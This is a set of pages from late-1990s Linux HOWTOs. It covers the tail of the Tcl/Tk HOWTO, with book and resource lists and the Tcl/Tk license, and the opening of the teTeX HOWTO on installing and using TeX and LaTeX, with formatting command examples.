This updated edition describes Tcl / Tk 8.0 as it was during the beta period. Along with the material from the first edition, it also covers sockets, packag es, namespaces, a great section describing the changes in Tcl 7.4, 7.5, 7.6, and 8.0 (and Tk as well), Safe Tk and the Plugin!

Tcl and Tk Reference Manual

Editors: Donald Barnes, Marc Ewing, Erik Troan

WWW book information: www.lsl.com/catalog/bo oks/tcltk/

The Visual TCL Handbook, 1/e

Author: David Young

WWW book information: www.amazon.com/exec/obidos/ISBN=013461674X/u/7141-5908756-107481

A comprehensive guide to Visual TCL. This book leads reader from basic graphical user interface development concepts to meaningful application develo pment. The book focuses on the TCLX and VT extensions, addressing many fundamental TCL topics. VT is a Motif based graphical interface, incompatible with Tk. The entire TCL language is documented in a separate Commands section. Comes with a CD-ROM that includes SGI, Solaris, HP-UX, AIX and Unixware versions of Visual Tcl.

Running LINUX

Author: Matt Welsh and Lar Kaufman

WWW book information: www.ora.com/ca talog/runux2/noframes.html

Running Linux is a really well written basic book. It has a chapter on programming using Tcl/Tk. (and Perl, C, C++).

Tcl/Tk for Dummies (For Dummies)

Author: Timothy Webster, with Alex Francis

WWW book information: www.dummies.com/

Another one of the series of the paperback programming books. This one focuses on the Tcl plugin as a programming environment.

Interactive Web Applications With Tcl/Tk

Authors: Michael Doyle Hattie Schroeder

WWW book information: www.eolas.com/tcl/

This is a learning by example book, for people who know a bit of programming, but are not experts. It covers developing applets as well as stand-alone appli cations and simple server applications. The book comes with the Spynergy toolkit, whic h adds a variety of pure Tcl/Tk procedures for distributed processing, URL retri eval, HTML rendering, database management and platform independent file managment, Ed, a Tcl editor and testing environment, an image conversion tool, a demo of Tk features, a client/server version of a rolodex application, a pure Tcl web server, a client/server push application, a tcl web browser,

8.2 Manual and On-line Tutorials

  • John Ousterhout has written an engineering style guide that describes the coding, documentation, and testing conventions that will be used at Sun in the coding of the C code in the Tcl core and has made it available to other Tcl and Tk developers. It is located at ftp.script ics.com/pub/tcl/doc/engManual.tar.Z
  • A second style guide, covering the writing of Tcl scripts, can be found at ftp.scr iptics.com/pub/tcl/docs/styleGuide.tar.gz. Other versions of it can be found at sunscript.su n.com/techcorner/styleGuide.ps.
  • A brief introduction to TCL/TK by David Martland
  • Another tutorial untitled User interfaces with Tcl/T kwas written by Fintan Culwin .
  • Although you should have your Tcl/Tk manual pages on your system, here's another place where to look for TCL Manual Pa ges (from TCL7.4)-Tk Manual Pages (from TK4.0).
  • The Tcl/Tk Cookbook offe rs a lot of getting-started information.

8.3 World Wide Web sites

There are a great number of WWW resources which provide additional information about many aspects of Tcl and its extensions.

  • Refer to Tcl-FAQs (pa rt2) for a great number of pointers to Tcl/Tk documentation and web sites.
  • Point your web browser at Tcl/Tk Information : a site with many links to TclTk resources on the web (Information, Extensions, Tools, Training and Events).
  • Point your Web browser at The Official Contributed Sources A rchive for the Tool Command Language (Tcl) and the Tk Toolkit, hosted by NeoSoft, Inc.
  • For a discussion dealing with the pros and cons of the major scripting languages : article in SunWorld by Cameron Laird
  • A web page that contains a variety of comparisons between Tcl/Tk and othe r similar systems. Most of them are taken from "comp.lang.tcl", the author would be happy to add any other important article that you folks want to send to him.: Comparison by Wayne Christopher.
  • E.J. Friedman-Hill's Tcl/Tk Course: this document is available only in PowerPoint source form and in low-quality HTML form (in HTML format all the figures and some of the text is missing).

8.4 Other documents & Frequently Asked Questions

A lot of material is available on the Internet: introductory papers, white papers, tutorials, slides, postscript versions of published books in draft and many more.

For a complete reference please give a look at the excellent Tcl-FAQs .

8.5 Newsgroup

comp.lang.tcl is an unmoderated Usenet newsgroup, created for the discussion of the Tcl programming language and tool s that use some form of Tcl, such as the Tk toolkit for the X window system, Extended Tcl, and expect.

For Tcl/Tk related announcements always refer to comp.lang.tcl.announce : you will find release announcement, patches, new application and so on.

Again, faq could be retrieved at Tcl-FAQs.


The Linux Tcl and Tk HOWTO: Tcl/Tk License Terms

 Next Previous Contents

9. Tcl/Tk License Terms

The following terms apply to the all versions of the core Tcl/Tk releases, the Tcl/Tk browser plug-in version 2.0, and TclBlend and Jacl version 1.0. Please note that the TclPro tools are under a different license agreement. This agreement is part of the standard Tcl/Tk distribution as the file named "license.terms".

TCL/TK LICENSE TERMS

This software is copyrighted by the Regents of the University of California, Sun Microsystems, Inc., Scriptics Corporation, and other parties. The followin g terms apply to all files associated with the software unless explicitly discla imed in individual files.

The authors hereby grant permission to use, copy, modify, distribute, and license this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this software may be copyrighted by their authors and need not follow the licensing terms described here, provided that the new terms are clearly indicated on the first page of each file where they apply.

IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.

GOVERNMENT USE: If you are acquiring this software on behalf of the U.S. government, the Government shall have only "Restricted Rights" in the software and related documentation as defined in the Federal Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you are acquiring the software on behal f of the Department of Defense, the software shall be classified as "Commercial Computer Software" and the Government shall have only "Restricted Rights" as defined in Clause 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing , the authors grant the U.S. Government and others acting in its behalf permissi on to use and distribute the software in accordance with the terms specified in this license.


The teTeX HOWTO: The Linux-teTeX Local Guide

Robert Kiesling

v3.7, 9 November 1998

This document covers the basic installation and usage of the teTeX TeX and LaTeX implementation under the major U.S. Linux distributions, and auxiliary packages like Ghostscript. Contents of the teTeX HOWTO: The Linux-teTeX Local Guide are Copyright (C) 1997, 1998 by Robert A. Kiesling. The exact terms of copying are given in the introduction and the appendices. Registered trademarks are the property of their respective owners. Please send all complaints, suggestions, errata, and any miscellany to kiesling@ix.netcom.com, so I can keep this document as complete and up to date as possible.

1. Introduction.

  • 1.1 Copyright.
  • 1.2 Software described in this document.

2. Using teTeX.

  • 2.1 Printing the documentation.

3. TeX commands.

  • 3.1 Command overview.
  • 3.2 Font commands.
  • 3.3 Paragraph styles and dimensions.
  • 3.4 Page layout.
  • 3.5 Page numbers, headers, and footers.
  • 3.6 Titles and macros.

4. LaTeX commands.

  • 4.1 Document structure.
  • 4.2 Characters and type styles.
  • 4.3 Margins and line spacing.
  • 4.4 Document classes.

5. LaTeX extension packages and other resources.

6. Mixing text and graphics with dvips.

  • 6.1 What if my printer isn't supported?

7. Using Postscript fonts.

8. Appendix A: CTAN site list.

9. Appendix B: Installing the CTAN teTeX distribution.

  • 9.1 Installing the binary distribution.
  • 9.2 Base system configuration.
  • 9.3 Installing the CTAN source distribution.
  • 9.4 Post-installation configuration details.

10. Appendix C: Distribution and Copyright.

  • 10.1 Distribution.
  • 10.2 GNU GENERAL PUBLIC LICENSE
  • 10.3 How to Apply These Terms to Your New Programs


The teTeX HOWTO: The Linux-teTeX Local Guide: Introduction.

 Next Previous Contents

1. Introduction.

1.1 Copyright.

The teTeX-HOWTO is copyright (C) 1997, 1998 by Robert Kiesling. Permission is granted to make and distribute verbatim copies of this manual provided that the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided also that the sections entitled, ``Distribution,'' and, ``GNU General Public License,'' are included exactly as in the original, and provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions. except that the sections entitled, ``Distribution,'' and, ``GNU General Public License,'' may be included in a translation approved by the Free Software Foundation instead of in the original English. Please refer to Section Distribution and Copyright for terms of copying.

1.2 Software described in this document.

TeX handles only the formatting part of the document preparation. Generating output from TeX is like compiling source code into object code, which still needs to be linked. You prepare an input file with a text editor----what most people think of as ``word processing''--- and format the input file document with TeX to produce a device-independent output file, called a .dvi file.

You also need a program or two to translate TeX's .dvi output for your screen and printer. These programs are collectively known as ``dviware.'' For example, TeX itself only makes requests for fonts. It is up to the .dvi output translator to provide the actual font for the output regardless of whether the medium is a video screen or paper. This extra step may seem overly complicated, but the abstraction allows documents to display the same on different devices with little or no change to the original document.

teTeX.

TeX is implemented for practically every serious computer system in the world---and quite a few ``non-serious'' ones---so implementors must provide the installation facilities for all of them. This accounts in part for teTeX's complexity, in addition to the inherent complexity of any TeX installation. It also accounts for the fact that installing the system yourself is a significant task, and unless you are already familiar with TeX, it is easy to get lost in the numerous executable programs, TeX files, documentation, and fonts.

Fortunately, teTeX is part of the GNU/Linux distribution. You can install the package much more easily using GNU/Linux installation tools. You may already have teTeX installed on your system. If so, you can skip ahead to Section Using teTeX.

However, if you want to install the package, the archives necessary for a workable teTeX installation are on the CTAN archive network. There is a list of these sites in Section CTAN site list.

CTAN is the Comprehensive TeX Archive Network, a series of anonymous FTP sites that archive TeX programs, macros, fonts, and documentation. In the course of using TeX you'll probably become familiar with at least one CTAN site. In this document, a pathname like ~CTAN/contrib/pstricks means ``look in the directory contrib/pstricks of your nearest CTAN site.''

The installation of the generic teTeX distribution described in Section Installing the CTAN teTeX distribution concentrates on the Intel versions of Linux. Installing teTeX on other hardware should require only substituting the appropriate executable program archive in the installation process.

In addition to the executable programs, the distribution includes all of the TeX and LaTeX package, metafont and its sources, bibtex, makeindex, and all of the documentation... more than 4 megabytes' worth. The documentation covers everything you will forseeably need to know to get started. So, you should install all of the documents. Not only will you eventually read them, the documents themselves provide many examples of ``live'' TeX and LaTeX code.

TeX was written by Professor Donald Knuth of Stanford University. It is a lower-level typesetting language for all of the higher-level packages like LaTeX. Essentially, LaTeX is a set of TeX macros that provide convenient, predefined document formats for end users. If you like the formats provided by LaTeX, you may never need to learn bare-bones TeX programming. The difference between the two languages is like the difference between assembly language and C. You can have the speed and flexibility of TeX, or the convenience of LaTeX.

By the way, the letters of the word ``TeX'' are Greek, tau-epsilon-chi. It is not a fraternity, but the root of the Greek word, techne, which means art and/or science. ``TeX'' is not pronounced like the first syllable in ``Texas.'' The chi has no English equivalent, but TeX is generally pronounced so that it rhymes with ``yecch,'' to use Professor Knuth's example from The TeXBook, which is one of the standard TeX references. When writing, ``TeX,'' on character devices, always use the standard capitalization, or the \TeX{} macro in typesetting.

Text editors.

Any of the editors that work under Linux---jed, joe, jove, vi, vim, stevie, Emacs, and microemacs---will work to prepare a TeX input file, as long as the editor reads and writes plain-vanilla ASCII text. My preference is GNU Emacs. There are several reasons for this:

  • You can format, preview and print documents with Emacs's TeX and LaTeX modes.
  • Emacs can automatically insert TeX-style, ``curly quotes,'' as you type, rather than the "ASCII-vanilla" kind.
  • Emacs has integrated support for Texinfo, a hypertext documentation system.
  • Emacs is widely supported. Versions 19.34 and later, for example, are included in the major U.S. Linux distributions. The most recent version from the GNU archives is 20.3.
  • Emacs does everything except butter the toast in the morning.
  • Emacs is free.

dvips.

Tomas Rokicki's dvips generates Postscript from a .dvi file. In addition, it runs Metafont if necessary to generate the bit mapped fonts it needs or uses Postscript fonts for the output. It can also crop and resize pages and perform graphics translations from instructions in a TeX or LaTeX file,

The dvips program is part of the teTeX distribution. It is discussed fully in Section Mixing text and graphics with <tt>dvips</tt>

Fonts.

Much of TeX's, and therefore LaTeX's, complexity, arises from its implementation of various font systems, and the way these fonts are specified. A major improvement of LaTeX 2e over its predecessor was the way users specify fonts, the former New Font Selection Scheme. They're discussed in Section Characters and type styles, Section TeX Font Commands, and Section Using Postscript fonts.)

teTeX comes distributed with about a dozen standard fonts preloaded, which is enough to get you started. Also provided are the font metrics descriptions, in .tfm (TeX font metric) files. To generate the other fonts that you need, it is simply a matter of installing the metafont sources. teTeX's .dvi utilities will invoke metafont automatically and generate the Computer Modern fonts you need.


The teTeX HOWTO: The Linux-teTeX Local Guide: Using teTeX.

 Next Previous Contents

2. Using teTeX.

Theoretically, at least, everything is installed correctly and is ready to run. teTeX is a very large software package. As with any complex software package, you'll want to start by learning teTeX slowly, instead of being overwhelmed by its complexity.

At the same time, we want the software to do something useful. So instead of watching TeX typeset

``Hello, World!''
as Professor Knuth suggests, we'll produce a couple of teTeX's own documents in order to test it.

2.1 Printing the documentation.

You should be logged in as root the first few times you run teTeX. If you aren't, Metafont may not be able to create the necessary directories for its fonts. The texconfig program includes an option to make the font directories world-writable, but if you're working on a multi-user system, security considerations may make this option impractical or undesirable.

In either instance, if you don't have the appropriate permissions to write to the directories where the fonts are stored, Metafont will complain loudly because it can't make the directories. You won't see any output because you have a bunch of zero-length font characters. This is no problem. Simply log out, re-login as root, and repeat the offending operation.

The nice thing about teTeX is that, if you blow it, no real harm is done. It's not like a compiler, where, say, you will trash the root partition if a pointer goes astray. What, you haven't read the teTeX manual yet? Of course you haven't. It's still in the distribution, in source code form, waiting to be output.

So, without further delay, you will want to read the teTeX manual. It's located in the directory

/usr/lib/teTeX/texmf/doc/tetex.

The LaTeX source for the manual is called TETEXDOC.tex. (The .tex extension is used for both TeX and LaTeX files. Some editors, like Emacs, can tell the difference.) There is also a file TETEXDOC.dvi included with the distribution, which you might want to keep in a safe place---say, another directory ---in case you want to test your .dvi drivers later. With that out of the way, type

latex TETEXDOC.tex
LaTeX will print several warnings. The first,
LaTeX Warning: Label(s) may have changed. Rerun to get the
cross-references right.
is standard. It's common to build a document's Table of Contents by LaTeXing the document twice. So, repeat the command. The other warnings can be safely ignored. They simply are informing you that some of the FTP paths mentioned in the documentation are too wide for their alloted spaces. Sections Paragraph styles and dimensions and Tolerances describe horizontal spacing in more detail.

teTeX will have generated several files from TETEXDOC.tex. The one that we're interested in is TETEXDOC.dvi. This is the device-independent output which you can send either to the screen or the printer. If you're running teTeX under the X Windows System, you can preview the document with xdvi.

For the present, let's assume that you have a HP LaserJet II. You would give the command

dvilj2 TETEXDOC.dvi
which writes a PCL output file from TETEXDOC.dvi, including soft fonts which will be downloaded to the LaserJet. This is not a feature of TeX or LaTeX, but a feature provided by dvilj2. Other .dvi drivers provide features that are relevant to the devices they support. dvilj2 tries to fill the font requests which were made in the original LaTeX document with the the closest equivalents available on the system. In the case of a plain text document like TETEXDOC.tex, there isn't much difficulty. All of the fonts requested by TETEXDOC.tex will be generated by metafont, which is automatically invoked by dvilj2, if the fonts aren't already present. (If you're running dvilj2 for the first time, the program may need to generate all of the fonts.) There are several options that control font generation via dvilj2. They're outlined in the manual page. At this point, you shouldn't need to operate metafont directly. If you do, then something has gone awry with your installation. All of the .dvi drivers will invoke metafont directly via the kpathsea path-searching library---the discussion of which is beyond the scope of this document---and you don't need to do any more work with metafont for the present---all of the metafont sources for the Computer Modern font library are provided.

You can print TETEXDOC.lj with the command

lpr TETEXDOC.lj
You may also need to install a printer filter that understands PCL.

The nine-page teTeX Guide provides some useful information for further configuring your system, some of which I have mentioned, much that this document doesn't cover.

Some of the information in the next section I haven't been able to test, because I have a non-Postscript HP Deskjet 400 color ink jet printer connected to the computer's parallel port. However, not owning a Postscript printer is no barrier to printing text and graphics from your text documents. Ghostscript is available in most Linux distributions and it could already be installed on your system.


The teTeX HOWTO: The Linux-teTeX Local Guide: TeX commands.

 Next Previous Contents

3. TeX commands.

Preparing documents for TeX typesetting is easy. Make sure there's a blank line between the paragraphs of a plain text file, and run file through the TeX program with the command

tex your_text_file
The result will be a file of the same base name and the extension .dvi. TeX formats the text in 10-point, Computer Modern Roman, single-spaced, with justified left and right margins. If you receive error messages from special characters like dollar signs, escape them with a backslash character, \, and run TeX on the file again. You should be able to process the resulting file with the .dvi file translator of your choice (see above) to get printed output.

One peculiarity of TeX input is that you must use opening and closing quotes, which are denoted in the input file with the grave accent and single quote characters. Emacs' TeX mode does this for you automatically.

"These are ASCII-type quotes."
``These are `TeX-style' quotes.''

3.1 Command overview.

Commands in TeX start with a backslash (``\''). For example, the command to change the spacing between lines is

\baselineskip=24pt

The baseline is the bottom of the characters on a line, not counting descenders. The distance between the baseline of one line and the next is the \baselineskip, and is assigned a value of 24 points.

Measurements or dimensions in TeX are often given in the following units:

pt                % Point        1/72 in.
pc                % Pica:        12 pt.
in                % Inch:        72.27 pt.
cm                % Centimeter:  2.54 cm = 1 in.
mm                % Millimeter:  10 mm = 1 cm.

Some commands do not take assignments. For example:

\smallskip        % Approximately 3 pt.
\medskip          % Two \smallskips.
\bigskip          % Two \medskips.

A \smallskip inserts a 3 pt. vertical space in the document. The measurements are approximate because TeX needs to adjust the dimensions for page breaks, section headings, and other units of vertical space. This is true for horizontal spacing as well.

\hsize=6.5in
This command sets the line length to a width of 6.5 inches. TeX tries to fill the line by adjusting the spacing between words, and some letters. If TeX cannot fill a line to within its tolerances, it produces a warning message, and adjusts the horizontal spacing within the line as best it can. Formatting tolerances are discussed in Section Tolerances.

There are many other commands that specify horizontal and vertical dimensions and tolerances, and the most commonly use commands are described below.

3.2 Font commands.

In TeX, the default font is 10 pt. Computer Modern Roman. To specify a typeface, like italic, bold, or monospaced, use the following commands.

\rm          % Roman (the default).
\it          % Italics.
\bf          % Bold.
\tt          % Monospaced (teletype).
\sl          % Oblique (slanted).
The commands change the typeface where they appear in the text, as in this example.
This text is Roman, \it and this text is italic.  \bf This text is
bold, and \rm this text is in Roman again.

To specify a font for your document, use the\font command.

\font\romantwelve=cmr12
This creates the font command \romantwelve, which, when used in the text, changes the font to Computer Modern Roman, 12 point.
\romantwelve
This is the Computer Modern Roman font at 12 points.
For information about the fonts in the teTeX distribution look at the file:
/usr/lib/teTeX/texmf/doc/fonts/fontname/fontname.dvi

If you want to print a sample of a font, TeX the file

/usr/lib/teTeX/texmf/tex/plain/base/fontchart.tex
and fill in the name of the font you want to print at the prompt.

You can also change the size of a font to get different effects. Font magnification is exponential, and specified with the scaled \magstep command, which is placed after the font specification.

\font\sfmedium=cmss12 scaled \magstep 1
This command will give you a sans serif font that is 120 percent the size of the 12-point Computer Modern sans serif font. Fonts can be magnified in steps from 0 to 5. Each step provides and additional 120 percent magnification.

3.3 Paragraph styles and dimensions.

As mentioned above, TeX typesets text in 10-point Computer Modern Roman by default. The length of a line is the value of \hsize, which defaults to 6.5 in. If you want to change the value of \hsize to 5.5 in. for example, use this command.

\hsize=5.5in

In TeX a dimension is an adjustable unit of length, either horizontal or vertical. The amount by which a dimension can be increased or decreased can be specified in its definition. Closely related to a dimension is a skip, which is a dimension that is placed in one of TeX's internal registers. Skips are defined with the \newskip command. The \smallskip dimension, as defined by TeX is:

\newskip\smallskipamount \smallskipamount=3pt plus 1pt minus 1pt
The \smallskip command is shorthand for:
\vskip\smallskipamount

There are a number of dimensions that control the page layout. They are summarized in Section Page layout.

TeX formats paragraphs with justified left and right margins. If you want the text to be left justified only, use this command:

\raggedright

To typeset a line that is justified to the right margin, use the \rightline command:

\rightline{This is the line to be typeset.}

The \line command typesets the text of its argument to fill the entire line.

\line{This text will be spaced to fit the entire line.}

The \hfil command adds space to fill out the line where it occurs. So, for example, the \rightline command is equivalent to:

\line{\hfilThis line will be right justified.}

To typeset a line that is centered, use the \centerline command.

\centerline{This is the line to be centered.}

To change the left margin, set the value of \hoffset, as in this example:

\hoffset=1.5in

The \parindent command specifies the amount that the first line of every paragraph is indented.

\parindent=.5in

Two other dimensions, \leftskip and \rightskip, will indent the right and left margins, respectively, of the paragraphs that come after them.

\leftskip=.5in
\rightskip=.5in
The control word \narrower is equivalent to:
\leftskip=\parindent
\rightskip=\parindent
That is, \narrower narrows the paragraph margins by the value of \parindent

As mentioned in the previous section, the \baselineskip specifies the distance between lines. The default is 12 pt. To approximate double-spaced text, use the following command.

\baselineskip=\baselineskip*1.6

The \parskip command specifies the distance in addition to \baselineskip between paragraphs. By default, no extra space is added, but the distance between paragraphs can stretch as much as 1 pt. to fill the page correctly. To put a blank line between paragraphs, use this command:

\parskip=\baselineskip

Tolerances. (What are those black rectangles after every line?)

TeX normally formats text to strict tolerances. If, for some reason, text cannot be formatted to within those tolerances, TeX produces a warning message and formats the text the best it can. If the text must be stretched too much to fit the line, TeX warns you that the \hbox is underfull. Text that must be squeezed to fit in the line produces an overfull \hbox warning.

For each overfull \hbox, TeX places a slug, a black rectangle, after the line. The slug indicates that the line could not be formatted to within the specifications set by the \hbadness parameter.

The fit of the text within its specified dimensions is measured by its badness, which is a number between 0 and 10000. A badness of 0 is a perfect fit, and a badness of 10000 means that the line probably will never fit. The default value of \hbadness is 1000. If you set \hbadness to 10000, TeX does not report underfull lines.

Sometimes TeX allows a line to extend past the right margin. This is an aesthetic decision on the part of TeX's author. The amount is determined by the \hfuzz parameter, which defaults to 0.1 pt. If the text does not fit within the line, the \tolerance parameter determines how TeX will handle the overfull \hbox. The default value of \tolerance is 200. Setting \tolerance to 1000 suppresses overfull \hbox warnings and the printing of slugs.

3.4 Page layout.

In addition to the left margin and line length dimensions that are described in the previous section, TeX also lets you specify top and bottom margins, and vertical spacing.

Like the \hsize and \hoffset dimensions described in the previous section, TeX also provides the \vsize and \voffset commands. The default for \vsize is 8.9 in., and \voffset defaults to 0.

Normally, teTeX places the beginning of the first line of text 1 in. below the top of the paper and 1 in. from the left edge. You can start the text closer to the top of the page with the command:

\voffset=-0.5in

If you want to add vertical space in a document, the commands \smallskip, \medskip, and \bigskip will add approximately 3, 6, and 12 points of blank vertical space. These measurements are approximate; TeX will adjust them by as much as 1 pt. so the page is filled correctly.

The \vfill command adds an adjustable vertical space between paragraphs on a page. It is infinitely stretchable, so it will add vertical space to fill as much of the rest of the page as possible. If you want to specify a dimension, use \vskip as in:

\vskip 10pt

The commands \hss and \vss are similar to \hfil and \vfill, but they provide dimensions that are infinitely shrinkable as well as infinitely stretchable.

The \vskip and \vfill commands produce flexible lengths. They do not add space where no text exists; for example, at the top of a page. Use \vglue if you want to add an absolute space.

TeX fills the \vsize dimension with as much text as possible before it starts a new page. To force a page break, use the \vfill \eject sequence. If \vfill is not used, the text before the \break will be spaced to fill the page.

If you want TeX to be more flexible about its vertical page sizing, place the \raggedbottom command in your document. TeX will then adjust the bottom margin of each page slightly to make vertical spacing more consistent.

3.5 Page numbers, headers, and footers.

teTeX by default places the page number at the bottom center of the page. If you want to change the location and style of the page number, you can specify alternate headers and footers by changing definitions of \headline and \footline. The default value for \footline contains the \folio command, which prints the page number. The default value for \headline is \hfil, so a blank line is printed.

The \pageno command is a synonym for TeX's internal page counter. You can change the page number by changing the value of \pageno. If \pageno is negative, the numbers are printed as Roman numerals.

\pageno=10
\pageno=-1

The command \nopagenumbers is shorthand for:

\headline={\hfil}
\footline={\hfil}

The default footline also contains the font command \tenrm, which sets the page number's font to 10-point Roman. If you want to print the page number in 12-point Roman, for example, you would first define a 12-point Roman font, and use that in the definition of \footline. Font commands are discussed in Section Font commands.

\font\twelvrm=cmr12
\footline={\hss\twelvrm\folio\hss}

You can put a rule, a horizontal line, at the top of each page by redefining \headline as:

\headline={\hrulefill}

To specify different headers for even and odd pages use the \ifoddcommand, which has the form:

\ifodd[condition][true-action]\else[false-action
An example \headline that uses different headers for even and odd pages would be:
\headline={\ifodd\pageno odd-page-header \else even-page-header}
The \ifodd statement uses the first argument if the page number is odd, and the second argument otherwise.

3.6 Titles and macros.

TeX provides only the \beginsection macro for section headings. It leaves a space above its argument, prints the text of the heading in bold type, adds a \smallskip after the text of the heading, and starts the next paragraph with no indent.

The LaTeX chapter and section commands described below add section numbering, and will print the section names and numbers in the page headings, and automatically add the sections to the Table of Contents.

In plain TeX, you must write these functions yourself. The \def command allows you to define new commands. Suppose you want to print a chapter title. First you define the font that you want to use. A large, sans serif font for chapter titles would be defined like this:

\font\chapterfontsans=cmss12 scaled \magstep 4
You can use the \chapterfontsans command anywhere you want to switch to this font, which is approximately 24 points in height. However, in this example, it will be used primarily in the command \chaptertitlesans. Here is its definition:
\def\chaptertitlesans#1{\hbox{}\bigskip\bigskip
  \noindent{\leftline{\chapterfontsans#1}}
  \par\bigskip\bigskip\noindent}
The first line, \hbox{}\bigskip, anchors a 12-point space at the top of the page by placing an empty \hbox{} there. The line with the chapter title is not indented, nor is the paragraph which immediately follows it. If you place a blank line between the \sschaptertitle macro and the next paragraph, the final \noindent applies to the blank line, not the text of the following paragraph. To format correctly, use the \sschaptertitle as in this example:

The #1 statement in the definition is replaced by the first argument to \chaptertitlesans; that is, the title of the chapter. Parameters TeX definitions are declared with #1, #2, #3, and so on. An example usage of \chaptertitlesans would be:

\chaptertitlesans{Chapter 1}
This is the starting text of the first paragraph of the chapter.
The paragraph will not be indented.  The chapter's title is
"Chapter 1."


The teTeX HOWTO: The Linux-teTeX Local Guide: LaTeX commands.

 Next Previous Contents

4. LaTeX commands.

4.1 Document structure.

Documents formatted for LaTeX have a few more rules, but with complex documents, LaTeX can greatly simplify the formatting process.

Essentially, LaTeX is a document markup language which tries to separate the output style from the document's logical content. For example, formatting a section heading with TeX would require specifying 36 points of white space above the heading, then the heading itself set in bold, 24-point type, then copying the heading text and page number to the Table of Contents, then leaving 24 points of white space after the heading. By contrast, LaTeX has the \section{} command, which does all of the work for you. If you need to change the format of the section headings throughout your document, you can change the definition of \section{} instead of the text in the document. You can see where this would save hours of reformatting for documents of more than a dozen pages in length.

All LaTeX documents have three sections: a preamble, the body text, and a postamble. These terms are standard jargon and are widely used by TeXperts.

The preamble, at a minimum, specifies the type of document to be produced---the document class---and a statement which signals the beginning of the document's body text. For example:

\documentclass{article}
\begin{document}
The document's postamble is usually very simple. Except in specialized cases, it contains only the statement:
\end{document}
Note the \begin{document} and \end{document} pairing. In LaTeX, this is called an environment. All text must appear within an environment, and many commands are effective only in the environments in which they're called. The document environment is the only instance where LaTeX enforces this convention, however. That is, it's the only environment that is required in a document. (An exception is letter class, which also requires you to declare \begin{letter} and \end{letter}. See the section Letters.) However, many formatting features are specified as environments. They're described in the following sections.

The document classes can be called with arguments. For example, instead of the default, 10-point type used as the base point size, as in the previous example, we could have specified

\documentclass[12pt]{article}
to produce the document using 12 points as the base point size. The document class, article, makes the necessary adjustments.

There are a few document classes which are commonly used. They're described below. The report class is similar to article class, but produces a title page and starts each section on a new page. The letter class includes special definitions for addresses, salutations, and closings, a few of which are described below.

You can include canned LaTeX code, commonly known as a package, with the \usepackage{} command.

\usepackage{fancyhdr}
The command above would include the LaTeX style file fancyhdr.sty from one of the TEXINPUTS directories, which you and teTeX specified during installation and setup processes.

\documentclass{article}
\usepackage{fancyhdr}
\begin{document}

Note that the \usepackage{} declarations are given before the \begin{document} statement; that is, in the document preamble.

fancyhdr.sty extends the \pagestyle{} command so that you can create custom headers and footers. Most LaTeX document classes provide headers and footers of the following standard page styles:

\pagestyle{plain}       % default pages style -- page number centered at
                        % the bottom of the page.
\pagestyle{empty}       % no headers or footers
\pagestyle{headings}    % print section number and page number at the
                        % top of the page.
\pagestyle{myheadings}  % print custom information in the page heading.
Everything on a line to the right of the percent sign is a comment.

The \pagestyle{} command doesn't take effect until the following page. To change the headers and footers on the current page, use the command

\thispagestyle{the_pagestyle}

4.2 Characters and type styles.

Character styles are partially a function of the fonts specified in the document. However, bold and italic character emphasis should be available for every font present on the system. Underlining, too, can be used, though its formatting presents special problems. See section LaTeX extension packages and other resources, below.

You can specify text to be emphasized in several ways. The most portable is the \em command. All text within its scope is italicized by default. For example:

This word will be {\em emphasized.}
If you have italicized text that runs into text which is not italicized, you can specify an italic correction factor to be used. The command for this is \/; that is, a backslash and a forward slash.
This example {\em will\/} print correctly.

This example will {\em not} print correctly.
Slightly less portable, but still acceptable in situations where they're used singly, are the commands \it, \bf, and \tt, which specify that the characters within their scope be printed using italic, bold, and monospaced (teletype) typefaces, respectively.
{\tt This text will be printed monospaced,}
{\it this text will be italic,} and
{\bf this text will be bold\dots} all in one paragraph.
The command \dots prints a series of three periods for ellipses, which will not break across a line.

The most recent version of LaTeX, which is what you have, includes commands which account for instances where one emphasis command would supersede another.

This is {\it not {\bf bold italic!}}
What happens is that teTeX formats the text with the italic typeface until it encounters the \bf command, at which point it switches to boldface type.

To get around this, the NFSS scheme of selecting font shapes requires three parameters for each typeface: shape, series, and family. Not all font sets will include all of these styles. LaTeX will print a warning, however, if it needs to substitute another font.

You can specify the following font shapes:

\textup{text}           % upright shape (the default)
\textit{text}           % italic
\textsl{text}           % slanted
\textsc{text}           % small caps
These are the two series that most fonts have:
\textmd{text}           % medium series (the default)
\textbf{text}           % boldface series.
There are generally three families of type available.
\textrm{text}           % Roman (the default)
\textsf{text}           % sans serif
\texttt{text}           % typewriter (monospaced, Courier-like)
Setting font styles using these parameters, you can combine effects.
\texttt{\textit{This example likely will result in a font
substitution, because many fonts don't include a typewriter italic
typeface.}}
The font family defaults to Computer Modern, which is a bit-mapped font. Other font families are usually Postscript-format Type 1 fonts. See section Using PostScript fonts for details on how to specify them.

There are also many forms of accents and special characters which are available for typesetting. This is only a few of them. (Try typesetting these on your own printer.)

\'{o}   \`{e}   \^{o}   \"{u}   \={o}   \c{c}   `? `!
\copyright      \pounds         \dag
Finally, there are characters which are used as meta- or escape characters in TeX and LaTeX. One of them, the dollar sign, is mentioned above. The complete set of meta characters, which need to be escaped with a backslash to be used literally, is:
# $ % & _ { }

There are also different alphabets available, like Greek and Cyrillic. LaTeX provides many facilities for setting non-English text, which are covered by some of the other references mentioned here

